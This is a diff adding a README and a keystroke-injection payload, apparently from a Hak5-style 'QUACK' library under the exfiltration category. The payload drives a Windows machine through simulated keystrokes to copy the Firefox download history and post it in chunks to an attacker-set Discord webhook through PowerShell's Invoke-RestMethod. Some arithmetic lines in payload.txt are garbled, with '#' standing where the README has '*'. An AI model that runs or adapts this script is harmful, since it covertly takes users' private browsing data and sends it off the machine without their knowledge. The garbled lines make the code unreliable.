QUACKed - Exports all the links of the downloads

payloads/library/exfiltration/Exports_all_the_links_of_the_downloads/README.md

@@ -0,0 +1,71 @@
+# Exports all the links of the downloads
+
+This script can be used to export all the links of the latest downloads made through Firefox.
+
+**Category**: Exfiltration
+
+## Description
+
+This script can be used to export all the links of the latest downloads made through Firefox.
+
+This script open the Firefox app, then go to downloads page and copy all, then open a PowerShell and put all the download link in a var named $DOWNLOADS, then use a Discord Webhook to exfiltrate it.
+
+## Dependencies
+
+* Firefox must be installed
+* Internet connection
+
+## Settings
+
+- You must define your Discord webhook if you want to use this method for the exfiltration
+
+  ```shell
+  DISCORD_WEBHOOK='example'
+  ```
+
+- This delay depends on the number of links
+
+  ```plaintext
+  [48] DELAY 5000
+  ```
+
+- This algorithm is used to avoid the size limit imposed by Invoke-RestMethod on the payload length
+
+  ```powershell
+  $len = $DOWNLOADS.Length
+      $MAX_LEN = 1900
+
+      $ITERATIONS = [math]::Ceiling($len / $MAX_LEN)
+
+      for ($i = 0; $i -lt $ITERATIONS; $i++) {
+          $init = $i * $MAX_LEN
+          $end = [math]::Min(($i + 1) * $MAX_LEN, $len)
+
+          $sub = $DOWNLOADS.Substring($init, $end - $init)
+          $Payload = @{content = $sub} | ConvertTo-Json
+
+          Invoke-RestMethod -Uri $WebhookUrl -Method Post -Body $Payload -ContentType 'application/json'
+      }
+  ```
+
+## Credits
+
+<h2 align="center">Aleff</h2>
+<div align=center>
+<table>
+  <tr>
+    <td align="center" width="96">
+      <a href="https://github.com/aleff-github">
+        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" />
+      </a>
+      <br>Github
+    </td>
+    <td align="center" width="96">
+      <a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/">
+        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" />
+      </a>
+      <br>LinkedIn
+    </td>
+  </tr>
+</table>
+</div>

payloads/library/exfiltration/Exports_all_the_links_of_the_downloads/payload.txt

@@ -0,0 +1,86 @@
+###########################################################
+#                                                         #
+# Title        : Exports all the links of the downloads   #
+# Author       : Aleff                                    #
+# Version      : 1.0                                      #
+# Category     : Exfiltration                             #
+# Target       : Windows 10/11                            #
+#                                                         #
+###########################################################
+
+ATTACKMODE HID
+
+# REQUIREMENTS
+#  - Firefox installed
+
+# VARIABLES
+# - You must define your Discord webhook if you want to use this method for the exfiltration
+DISCORD_WEBHOOK='example'
+
+# Open Firefox
+QUACK DELAY 1500
+QUACK GUI
+QUACK DELAY 1000
+QUACK STRING Firefox
+QUACK DELAY 500
+QUACK ENTER
+QUACK DELAY 2000
+
+# Goto downloads and copy all
+QUACK CTRL j
+QUACK DELAY 500
+QUACK CTRL a
+QUACK DELAY 500
+QUACK CTRL c
+QUACK DELAY 500
+
+# Open a PowerShell and put all the links into \$DOWNLOADS var
+QUACK GUI r
+QUACK DELAY 500
+QUACK STRING powershell
+QUACK ENTER
+QUACK DELAY 1000
+QUACK STRING \$DOWNLOADS='
+QUACK CTRL v
+QUACK DELAY 500
+QUACK ENTER
+# It depends on the number of links
+QUACK DELAY 5000
+QUACK STRING '
+QUACK ENTER
+QUACK DELAY 500
+
+# Exfiltration using Discord Webhook
+QUACK STRING \$Payload = @{content = \$DOWNLOADS} | ConvertTo-Json
+QUACK ENTER
+QUACK DELAY 500
+# This algorithm is used to avoid the size limit imposed by Invoke-RestMethod on the payload length
+QUACK STRING \$len = \$DOWNLOADS.Length
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING \$MAX_LEN = 1900
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING \$ITERATIONS = [math]::Ceiling(\$len / \$MAX_LEN)
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING for (\$i = 0; \$i -lt \$ITERATIONS; \$i++) {
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING \$init = \$i # \$MAX_LEN
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING \$end = [math]::Min((\$i + 1) # \$MAX_LEN, \$len)
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING \$sub = \$DOWNLOADS.Substring(\$init, \$end - \$init)
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING \$Payload = @{content = \$sub} | ConvertTo-Json
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING Invoke-RestMethod -Uri '$DISCORD_WEBHOOK' -Method Post -Body \$Payload -ContentType 'application/json'
+QUACK ENTER
+QUACK DELAY 500
+QUACK STRING }; exit;
+QUACK ENTER